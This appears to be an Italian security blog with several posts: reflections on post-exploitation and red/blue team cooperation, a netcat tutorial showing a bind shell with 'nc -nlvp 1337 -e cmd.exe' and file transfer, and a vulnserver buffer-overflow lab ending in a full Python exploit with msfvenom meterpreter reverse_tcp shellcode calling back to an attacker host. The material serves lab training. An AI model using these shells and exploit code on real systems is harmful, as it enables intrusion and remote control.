cyber security, hacking

Post-exploitation: appunti tattici e qualche riflessione

Premetto che sto sistemando un po’ di appunti e materiale in relazione alle attività immediatamente successive all’acquisizione di un primo accesso ad un sistema target (a prescindere dal modo in cui è stato ottenuto) in un contesto di simulazione di attacco.

Sto lavorando su due fronti: il primo prettamente ludico relativo alle mie “play session” in live dove sto giocando su una vecchia macchina (breakout di vulnhub), il secondo operativo in relazione ad azioni su infrastrutture presidiate. C’è un elemento che ricorre in entrambi i contesti anche se per motivi differenti: per vincoli del sistema o per la presenza di specifici controlli non sempre è possibile dotare la macchina target di “strumenti” aggiuntivi, bisogna necessariamente arrangiarsi con ciò che si ha sul sistema vittima. In molti corsi e laboratori a tema cyber sec. si fa pesante uso di strumenti che, se utilizzati in contesti reali, vedremmo il team IT di qualsiasi organizzazione mediamente strutturata farsi una grassa risata.

Gli attacker utilizzano spesso tecniche appositamente studiate per non essere identificati facilmente ed una di queste è proprio utilizzare ciò che il sistema colpito mette a disposizione: se la macchina dove è stato guadagnato il primo accesso è un webserver con php o python è molto probabile che l’attacker utilizzi questi strumenti per portare a bordo del sistema scripts specifici o eseguire comandi diretti.

Considerazioni lato Red Team

Provo a semplificare il mondo. Diciamo che ci sono quattro principali tipologie di oggetti su cui si potrebbe approdare:

  • un ambiente con O.S. Microsoft Windows
  • un ambiente con O.S. *nix
  • una network appliance
  • un device con O.S. {booo} che eroga servizi aspecifici (una stampante, una Smart TV, ecc)

Ovviamente non sono gli unici elementi ma questo elenco copre una vasta percentuale di sistemi in una rete IT. Va anche detto che una buona azione di ricognizione potrebbe migliorare molto la precisione di questa lista ed in alcuni casi si riescono ad ottenere informazioni di dettaglio su sistemi e software in uso, ma per lo scopo del post ci basta questo.

Continuando con le considerazioni puramente speculative possiamo dire che gli ambienti con O.S. Windows e Unix/Linux mettono a disposizione un set di software e utility molto più ampio rispetto alle appliance, fanno eccezione solo quei device interamente basati su una qualche distribuzione Linux e quindi ricche di utility (come alcune tipologie di NAS o network device SOHO). Qualsiasi sia lo scenario le azioni che cronologicamente un attacker – e quindi anche il Red Team – vorrebbe compiere sono:

  • garantirsi un’accesso permanente al sistema sul quale è stata “guadagnata la posizione”
  • raccogliere informazioni sul sistema e sull’ambiente circostante
  • iniziare ad esplorare l’ambiente circostante a caccia di informazioni o per raggiungere altri sistemi interessanti (lateral movement per gli amici)

Per mia esperienza (e come sempre sarei felice di ricevere anche altri pareri) il buon proseguimento dell’azione offensiva dipende molto dal livello di dettaglio che si riesce ad ottenere dell’infrastruttura attaccata. Se in Red Team acquisisce molte informazioni sostanziali potrà valutare meglio come muoversi all’interno della rete. Ad esempio prima di attivare un C2 sarà opportuno valutare che tipologia di canali potrebbero passare inosservati.

E’ un tema già affrontato su queste pagine quando ho parlato di OSInt: meglio conosco il mio target e più efficace sarà l’azione offensiva. La differenza, non da poco, sta nel fatto di essere già all’interno di uno dei sistemi, contesto che permette di ottenere molte informazioni ed una posizione privilegiata per sfruttarle.

Ovviamente più il sistema target è ricco di dati e utility e più l’attacker avrà vita facile. Questa consapevolezza è quella che dovrebbe far riflettere sul livello di hardening dei sistemi: situazioni troppo “permissive” come l’utilizzo troppo esteso di utenti con privilegi elevati o la configurazione di servizi ed applicazioni in esecuzione con privilegi amministrativi, possono dare al Red Team la possibilità di agire sul sistema colpito in modo molto invasivo.

I macro elementi da cui personalmente mi piace iniziare le “indagini” sono la possibilità di comunicare all’esterno della rete tramite canali leciti e la possibilità di eseguire manovre sul sistema target e verso altri sistemi utilizzando utenti/profili con un basso livello di privilegi. Una situazione più che comoda potrebbe essere quella di atterrare su una macchina che ha modo di navigare senza particolare limiti, anche se attraverso firewall o proxy, e con una CLI di qualche tipo. Una bash o una powershell sono strumenti con cui si possono fare molte cose.

Qualche esempio per comprendere meglio: come mostrato in una recente demo (e nella live del 4 febbraio ci ritorniamo) alcune azioni possono essere più rumorose di altre: in una rete presidiata può fare molta differenza eseguire una scansione “massiva” rispetto ad una scansione molto mirata, come è diverso eseguire dei comandi su una CLI rispetto a lanciare uno script in PowerShell.
E’ abbastanza frequente poter disporre di un accesso verso internet con destinazione servizi di largo utilizzo come Microsoft 365, Google Drive o Dropbox. Si tratta di servizi assolutamente leciti che l’attacker può utilizzare come “punto di appoggio” nello scambio di informazioni o per impartire comandi attraverso un C2 in grado di comunicare all’interno di un canale “nascosto”.

Considerazioni lato Blue Team e IT

Come noto non è il mio ambito di specializzazione, quindi a maggior ragione spero di ricevere feedback e pareri su quanto scrivo e condivido. Faccio una riflessione generale, figlia dell’esperienza su campo e del confronto con SOC Analyst, Security Manager e CISO.

Esiste, prima di tutto, un problema di “scope”: abbiamo la capacità di osservare moltissimo ma spesso tale capacità non viene scaricata a terra.
Esiste un problema di “mindset”: deleghiamo molto ad una tecnologia troppo spesso configurata in modo non idoneo, perdendo di vista o non considerando che chi attacca ha una elevata capacità di adattamento al contesto e, per quanto segua un modello, non ha regole statiche a cui obbedire.

Concettualmente mi piace il modello Zero Trust, al netto dell’applicabilità il concetto è assolutamente sano: non è possibile, in una strategia di difesa, dare per buono qualcosa. Tutto è vulnerabile e tutto potrebbe essere attaccato. Tutto. Se non si parte da questo punto fermo l’effetto è quello che osservo quotidianamente: piccole falle logiche e/o tecniche che si sommano, si aggregano fino a formare la classica valanga ingestibile.

Osservare tutto l’osservabile è un buon punto di partenza (ne ho parlato nel post sulla detection), ma contemporaneamente vanno irrobustiti i sistemi ed i processi. Il SIEM non risolve il problema delle vulnerabilità critiche, il SOC non risolve il problema della bassa consapevolezza. Sono strumenti utili all’interno di una strategia più ampia e che deve tener conto di come si comporta l’avversario e non solo di ciò che presumiamo di sapere.

Mia conclusione alla riflessione

A mio parere da questa situazione se ne esce solo collaborando, costruendo un confronto (che molti già fanno, fortunatamente) tra Red Team e Blue Team.

cyber security, podcast

Cyber Saturday 20230121

Sono nel mezzo di attività di Adversarial Simulation che per loro natura tendono a toccare molti aspetti anche non prettamente tecnici: è abbastanza frequente passare da tecniche di social engineering che richiedono una certa abilità comunicativa ad azioni sui sistemi target che richiedono una elevata conoscenza dell’ambiente su cui si è ottenuto l’accesso.

Discutendo con i colleghi e con gli addetti ai lavori ci troviamo spesso a commentare le differenze operative tra un’attività di Penetration Testing ed una Adversarial Simulation, differenze che non riguardano le skills in se ma le finalità dell’attività e di conseguenza, in molti casi, anche degli aspetti tattici.

Questa sera dedico lo spazio di discussione nella live su Twitch a questo argomento: vi riporto qualche mia esperienza e se tra i presenti c’è qualcuno che conosce gli argomento sentiamo cosa ne pensa. Ovviamente lasciamo spazio alle domande.

Dopo le chiacchiere passiamo un po’ all’azione: sto preparando la seconda parte del video sulla macchina Breakout in cui ci eravamo ripromessi di fare un po’ di azioni di post-exploitation. Ci ragioniamo assieme e definiamo una scaletta di prova da fare in lab.

Live su Twitch a partire dalle 21:30 di questa sera (21 gennaio), qui il link al canale: https://www.twitch.tv/roccosicilia.

cyber security, hacking

Reverse Shell: giocare con netcat

Approfitto della sessione live #studywithme che ho iniziato a proporre il martedì sera sul mio canale Twitch per proporre una “dispensa” sugli argomenti trattati. Premetto che la live in questione è durata poco in quanto lo scorso martedì ero abbastanza provato dallo giornata, abbiamo comunque introdotto netcat e ci siamo scontrati (come spesso capita) con i limiti delle versioni disponibili per MS Windows.

Prima di passare all’esplorazione dell’utility dedico qualche minuto al reperimento della stessa. Mentre se avere una linux-box potrete tranquillamente installare quello che vi serve dai pacchetti della vostra distro, su Windows bisogna necessariamente reperire il binario ed assicurarsi che il vostro sistema anti-malware non lo vada a spianare al primo utilizzo. Per poterlo utilizzare nella mia macchina di test su VirtualBox ho dovuto necessitamene disattivare prima Defender e creare poi una eccezione. Ho utilizzato il binario disponibile qui: https://nmap.org/ncat/.

screen della vm Win10

Predisporre il lab con una macchina Windows ed una macchina Linux ci consente di seguire gli esempi della documentazione #OSCP. Ovviamente possiamo tranquillamente lavorare anche sono con ambienti *nix like.

Utilizzo base

Fondamentalmente netcat è una utility che ci consente di leggere e scrivere dati attraverso una connessione di rete sia via TCP che via UDP. Possiamo quindi utilizzarlo per connetterci ad un servizio come un POP o SMTP server:

classica connessione ad un servizio

Una delle funzionalità che più rimanda al tema delle reverse shell è la possibilità di mettere in listening su una porta specifica netcat:

$ nc -nlvp 1337
Listening on 0.0.0.0 1337

Una volta avviata la sessione possiamo ovviamente provare ad interagire ad esempio eseguendo una richiesta tramite un client come un browser:

HTTP GET da un browser

La funzione di per se è utile per fare delle verifiche a livello di comunicazione. Più frequentemente questa funzionalità è utilizzata per ricevere una sessione da un “client” netcat che, senza altri accorgimenti, consentirà di inviare e leggere i caratteri all’interno della sessione in entrambe le direzioni:

connessione “client/server”

Passando ad utilizzi più pragmatici vi è la possibilità di trasferire file da un sistema all’altro semplicemente con il comando:

$ nc -v {HOST} < /usr/share/windows-binaries/wget.exe
Connection to 192.168.1.12 1337 port [tcp/*] succeeded!

Ovviamente lato sistema target va prima reindirizzato l’output verso un file “destinazione”:

c:\Test>nc -nlvp 1337 > wget.exe
listening on [any] 1337 ...

Il risultato sarà l’upload del file wget.exe sulla macchina target.

E arriviamo all’utilizzo per il quale probabilmente è più famoso: la possibilità di gestire una shell attraverso una sessione. Il funzionamento in tal senso è molto semplice, abbiamo visto come aprire una sessione di comunicazione tra due macchine al fine di inviare semplici caratteri, ora possiamo utilizzare qualcosa di simile per legare un processo come cmd.exe alla sessione TCP. La funzionalità è disponibile solo per le versione che presentano il flag -e, controllare questo requisito.

c:\Test>nc -nlvp 1337 -e cmd.exe
listening on [any] 1337 ...

Il comando per connettersi alla sessione, che dovrebbe restituire il prompt dei comandi di DOS, è altrettanto semplice:

$ nc -v 192.168.1.12 1337
la classica reverse shell

Qualche curiosità

Netcat è uno strumento molto duttile utilizzato, anche se forse non frequentemente, in molteplici scenari. Ho raccolto qualche esempio che credo possa valere la pensa di tenere a mente.

Network port-scan

-w necessario per il timeout

HTTP requests


Qualche risorsa aggiuntiva:


Personalmente l’utilizzo principale è quello relativo alle reverse shell e l’impiego in contesti di troubleshooting su anomalie di rete o verifica della bontà delle richieste. L’utilizzo, negli esempi della porta 1337 è ovviamente un riferimento nerd al leet, ma è effettivamente la porta che utilizzo nei miei lavoratori. In contesti reali come attività di Pen Testing o simulazioni di solito valuto in base al contesto quali porte utilizzare e, soprattutto, non utilizzo netcat in queste modalità in quanto tutto il traffico sarebbe in chiaro. Nella prossima live, programmata per martedì 01 novembre, ci avviciniamo di più a quello che potremmo fare in una sessione di PenTesting.

cyber security, hacking

Buffer Overflow lab [II parte]

Nella prima parte ci eravamo fermati all’analisi della memoria subito dopo il crash del nostro servizio a seguito di una nostra specifica azione: abbiamo inviato un contenuto al server composto da una serie di “A” e abbiamo scoperto di poter andare a sovrascrivere il contenuto del registro EIP e anche l’area di memoria destinate alle variabili locali che fa riferimento all’ESP.

Visto che la vulnerabilità ci ha consentito di scrivere “A” ovunque possiamo calcolare la dimensione dell’area di memoria a cui abbiamo avuto accesso. Con Immunity possiamo analizzare il DUMP della memoria semplicemente facendo “tasto destro” sull’ESP e selezionando l’opzione Follow in DUMP:

Nel riquadro in basso a sinistra verrà presentato lo stato della memoria e andando in cima all stack è possibile vedere l’area di memoria in cui iniziamo a scrivere (0x0097F200). In modo simile, andando sul fondo dello stack, possiamo vedere dove ci siamo fermati (0x0097FDA8). Semplicemente facendo la differenza tra questi due valori avremo la dimensione di memoria sovrascritta:

Questo dato, 2984 byte, è estremamente importante per le fasi di analisi e stesura del codice del nostro exploit: ora sappiano che se inviamo questa quantità di informazioni il servizio andrà in crash e possiamo verificarlo con un piccolo script:

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
payload = [
	b"TRUN /.:/",
	b"A"*total_length,
]

payload = b"".join(payload)
s.send(payload)

Siamo quindi arrivati a governare il contenuto della memoria, EIP ed ESP compresi, tramite un nostro script. Il prossimo passo è scriverci qualcosa di sensato partendo proprio dall’instruction pointer. Dobbiamo prima di tutto capire come riempire il buffer senza mettere delle “A” anche del EIP. Una tecnico abbastanza semplice è mandare in crash il programma utilizzando caratteri che non abbiamo un pattern così da identificare successivamente cosa è stato scritto all’interno del registro ed avere così la possibilità di individuare il numero di byte necessari a riempire il buffer.

Possiamo utilizzare l’utility msf-patter_create per creare una stringa di 2984 caratteri:

$ msf-pattern_create -l 2984                  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5A...

Utilizzando la stringa all’interno del payload, al posto del carattere “A” ovviamente, otterremo nuovamente il crash del servizio ma il contenuto del registro sarà molto diverso:

L’EIP è stato infatti sovrascritto dai caratteri del pattern che qui vediamo ovviamente visualizzati con il corrispettivo byte esadecimale visto che all’interno del registro non è possibile inserire delle “stringhe” nel loro formato. Non resta che scoprire quanti caratteri – e quindi byte – sono stati scritti nel buffer prima di arrivare a sovrascrivere l’EIP. Utilizziamo questa volta l’utility msf-patter_offset a cui chiederemo il numero di byte di offset in relazione alla stringa, opportunamente convertita, corrispondente all’esadecimale che vediamo dell’EIP:

$ msf-pattern_offset -l 2984 -q 386F4337        
[*] Exact match at offset 2003

Abbiamo trovato la dimensione del buffer: 2003 byte. Per verificare il nostro calcolo possiamo quindi modificare il nostro prototipo di exploit al fine di riempire il buffer per tutti i suoi 2003 byte e poi utilizzare un altro carattere per sovrascrivere ciò che viene subito dopo, ovvero il registro EIP.

import socket

s = socket.socket()
s.connect( ("TARGET_IP", 9999) )

total_length = 2984
offset = 2003
new_eip = b"BBBB"

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
]

payload = b"".join(payload)
s.send(payload)

Riavviando il server tramite Immunity dovremmo ottenere il seguente comportamento:

Il contenuto del registro EIP è ora l’esadecimale “42 42 42 42” che corrisponde esattamente al carattere che abbiamo scelto per la variabile new_eip del nostro script. Ora controlliamo l’instruction pointer e si nota come l’ESP sia ora vuoto in quanto ci siamo fermati all’invio della stringa che doveva sovrascrivere l’EIP. Se nel nostro payload andiamo ad aggiungere un altro set di caratteri, ad esempio una serie di “C”, fino a riempire i restanti byte a disposizione dovremmo ottenere la sovrascrittura controllata anche dell’ESP.

payload = [
	b"TRUN /.:/",
	b"A"*offset,
	new_eip,
        b"C"*(total_length - offset - len(new_eip)),
]

Si seguito lo stato dei registri con questa modifica:

Siamo quindi nella condizione di poter scrivere ciò che vogliamo nelle tre aree di memoria a disposizione. Non stiamo però controllando l’esecuzione del programma che infatti va in crash. Questo perché non stiamo gestendo correttamente il contenuto del EIP (stiamo utilizzando dei semplici caratteri) ed il programma non può eseguire la sua JUMP nella corretta posizione di memoria dove si trova l’ESP.

Dobbiamo quindi capire in che area della memoria far puntare EIP per gestire correttamente la JUMP verso ESP. Immunity mette a disposizione diverse plugin tra cui una è MONA (https://github.com/corelan/mona). Non mi soffermo sull’utilizzo del tool e vi suggerisco il manuale scritto dall’autore; tramite il comando jmp -r ESP il tool ci mostra tutti i “pointers” di tipo “jmp esp”:

Ovviamente il servizio quando è in esecuzione ha diverse JUMP verso ESP in quanto ci sono più funzioni che vengono chiamate. A noi interessa individuare quella di cui stiamo abusando con il nostro exploit. Da notare che delle varie JUMP le ultime due contengono riferimenti a contenuti ascii… interessante visto che noi stiamo proprio inviando questo tipo di dato al programma. Potremmo quindi ipotizzare che una di queste JUMP sia quella che vogliamo controllare.

Per appurarlo dobbiamo annotarci il valore del registro (0x62501203 nel mio lab.) ed utilizzarlo come contenuto per l’EIP del nostro exploit. E’ ovviamente da considerare che questo valore è la rappresentazione esadecimale dei byte che sono effettivamente presenti del registro, dobbiamo quindi a nostra volta mandare il corretto valore opportunamente convertito.

Utilizziamo la libreria struct di cui nella live su Twitch abbiamo parlato per un abbondante quarto d’ora e qui non ci soffermiamo. Per convertire correttamente il dato il comando, da utilizzare al posto delle “B”, è il seguente:

new_eip = struct.pack('<I', 0x62501203)

Lo script ora sarà in grado di eseguire la JUMP in una posizione legittima dell’ESP dove, nell’ultima esecuzione, abbiamo posizionato una serie di “C”. Per verificare cosa accade a runtime possiamo impostare un breakpoint su Immunity così da fermare il programma subito prima della JUMP:

Eseguendo ora l’exploit dovremmo ottenere qualcosa di simile a questo:

Il valore dell’EIP è quello da noi impostato e se andiamo a verificare lo stato dello stack possiamo controllare il contenuto della memoria dove sono ben visibili i caratteri “A” che stiamo utilizzando per il buffer, il contenuto dell’EIP opportunamente convertito ed i caratteri “C”.

Grazie al breakpoint l’esecuzione è interrotta ma possiamo utilizzare i tasti F6 ed F7 per andare indietro ed avanti una istruzione alla volta. In questo momento siamo fermi sulla JUMP quindi andando avanti di una istruzione la JUMP verrà eseguita verso un’area di memoria legittima, quella dell’ESP.

Possiamo quindi osservare il contenuto delle prossime posizioni della memoria che corrisponde all’esadecimale 43, ovvero il carattere “C” con cui abbiamo riempito l’ESP. In pratica abbiamo raggiunto il principale obiettivo: possiamo governare la JUMP in un’area della memoria che possiamo controllare. Ora dobbiamo decidere cosa far eseguire e posizionare le istruzioni opportune in quest’area di memoria.

Nota: in questa occasione saltiamo il controllo di eventuali caratteri non ammessi, si prenda atto che non utilizzeremo istruzioni “\x00” nel nostro shellcode.

E’ da considerare che questa operazione, in contesti più complessi rispetto al nostro vuln-server, presenta delle incertezze ed è quindi opportuno costruire le condizioni per favorire l’esecuzione del nostro shellcode. Tipicamente viene utilizzata una specifica istruzione: \x90, la famigerata NOP. Di base diremo al processore di non fare nulla per qualche iterazione prima di incontrare il nostro shellcode.

Come shellcode useremo un altro famigerato strumento: meterpreter. Per utilizzare questa reverse shell nel nostro exploit dobbiamo inserire le istruzioni necessarie all’interno del payload. Con msfvenom possiamo fare esattamente questo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -b “\x00” -f python

Vediamo uno ad uno parametri:

  • -p windows/meterpreter/reverse_tcp ci serve ovviamente a definire la reverse shell che vogliamo utilizzare
  • LHOST=10.0.2.4 definisce l’IP della macchina dell’attacker a cui la shell dovrà collegarsi
  • LPORT=4444 definisce la porta della macchina dell’attacker dove il servizio sarà in ascolto
  • -b “\x00” esclude il carattere in questione per evitare interruzioni indesiderate dello shellcode
  • -f python aiuta i pigri e formatta l’output pronto per essere inserito in uno script python

Il risultato finale è qualcosa del genere:


import socket
import struct

s = socket.socket()
s.connect( ("192.168.1.7", 9999) )

total_length = 2983
offset = 2003
new_eip = struct.pack('<I', 0x62501203)
nop = b"\x90"*8

buf =  b""
buf += b"\xd9\xf6\xbb\x8f\xe3\x45\x67\xd9\x74\x24\xf4\x5a\x33"
buf += b"\xc9\xb1\x59\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\x6d"
buf += b"\x16\xb9\x8f\xfe\xd9\x42\x50\x60\xeb\x90\xd9\x85\x6f"
buf += b"\x9e\x88\x75\xfb\xf2\x20\xfe\xa9\xe6\x37\xb7\x04\x21"
buf += b"\x79\x48\x13\x5f\x51\x87\xe4\x0c\x9d\x86\x98\x4e\xf2"
buf += b"\x68\xa0\x80\x07\x69\xe5\x56\x6d\x86\xbb\x3f\x06\x0a"
buf += b"\x2c\x4b\x5a\x96\x4d\x9b\xd0\xa6\x35\x9e\x27\x52\x8a"
buf += b"\xa1\x77\x11\x5a\xba\xfc\x7d\x7b\xbb\xd1\x2d\xfe\x72"
buf += b"\xa1\xf1\x31\x7a\x03\x82\x06\x0f\x95\x42\x57\xcf\x57"
buf += b"\xa5\x95\x63\x56\xfe\x9e\x9b\x2c\xf4\xdc\x26\x37\xcf"
buf += b"\x9f\xfc\xb2\xcf\x38\x76\x64\x2b\xb8\x5b\xf3\xb8\xb6"
buf += b"\x10\x77\xe6\xda\xa7\x54\x9d\xe7\x2c\x5b\x71\x6e\x76"
buf += b"\x78\x55\x2a\x2c\xe1\xcc\x96\x83\x1e\x0e\x7e\x7b\xbb"
buf += b"\x45\x6d\x6a\xbb\xa6\x6d\x93\xe1\x30\xa1\x5e\x1a\xc0"
buf += b"\xad\xe9\x69\xf2\x72\x42\xe6\xbe\xfb\x4c\xf1\xb7\xec"
buf += b"\x6e\x2d\x7f\x7c\x91\xce\x7f\x54\x56\x9a\x2f\xce\x7f"
buf += b"\xa3\xa4\x0e\x7f\x76\x50\x05\x17\xb9\x0c\x18\xe2\x51"
buf += b"\x4e\x1b\xf9\x12\xc7\xfd\x51\x05\x87\x51\x12\xf5\x67"
buf += b"\x02\xfa\x1f\x68\x7d\x1a\x20\xa3\x16\xb1\xcf\x1d\x4e"
buf += b"\x2e\x69\x04\x04\xcf\x76\x93\x60\xcf\xfd\x11\x94\x9e"
buf += b"\xf5\x50\x86\xf7\x61\x9a\x56\x08\x04\x9a\x3c\x0c\x8e"
buf += b"\xcd\xa8\x0e\xf7\x39\x77\xf0\xd2\x3a\x70\x0e\xa3\x0a"
buf += b"\x0a\x39\x31\x32\x64\x46\xd5\xb2\x74\x10\xbf\xb2\x1c"
buf += b"\xc4\x9b\xe1\x39\x0b\x36\x96\x91\x9e\xb9\xce\x46\x08"
buf += b"\xd2\xec\xb1\x7e\x7d\x0f\x94\xfc\x7a\xef\x6a\x2b\x23"
buf += b"\x87\x94\x6b\xd3\x57\xff\x6b\x83\x3f\xf4\x44\x2c\x8f"
buf += b"\xf5\x4e\x65\x87\x7c\x1f\xc7\x36\x80\x0a\x89\xe6\x81"
buf += b"\xb9\x12\x19\xfb\xb2\xa5\xda\xfc\xda\xc1\xdb\xfc\xe2"
buf += b"\xf7\xe0\x2a\xdb\x8d\x27\xef\x58\x9d\x12\x52\xc8\x34"
buf += b"\x5c\xc0\x0a\x1d"

payload = [
	b"TRUN /.:/",
	b"A"*2003,
	new_eip,
	nop,
	buf,
	b"D"*(total_length - offset - len(new_eip) - len(nop) - len(buf)),
]

payload = b"".join(payload)
s.send(payload)

L’exploit è pronto e il payload è stato opportunamente modificato per aprire una shell verso la macchina attaccante. Ovviamente dobbiamo predisporre la macchina da cui eseguiremo l’exploit affinché sia in grado di accettare la connessione remota. Per comodità di laboratorio possiamo usare metasploit e configurare l’handler per meterpreter:

Una volta avviato il servizio sul sistema target potremo lanciare l’exploit. Se tutto funziona correttamente il server questa volta non andrà in crash ma resterà in esecuzione senza dare messaggi specifici. Accedendo alla console di metasploit dovremmo invece vedere la sessione della shell attiva:


L’argomento exploiting è per me molto affascinante e lo ritengo molto utile per comprendere diversi aspetti del funzionamento dei sistemi e delle applicazioni. Quando ho annunciato la mia volontà di dedicare uno spazio in quelle che poi sono state due live per un totale di 5 ore di video e due articoli qualcuno ha etichettato l’argomento come anacronistico probabilmente non riuscendo a vedere il lato formativo del tema.

Incontro molte persone che sulla carta sono “esperti” in cyber security e che non hanno mai neanche provato ad analizzare una vulnerabilità. Ritengo che questo trend sia pericoloso, si tende a dare per scontata la conoscenza intima dei sistemi ma è evidente che c’è qualcosa che non sta funzionando nella formazione delle nuove figure professionali. Ci sono delle lacune a livello di nozioni base e questo fatto è un evidente limite che gli attacker non è detto che abbiano.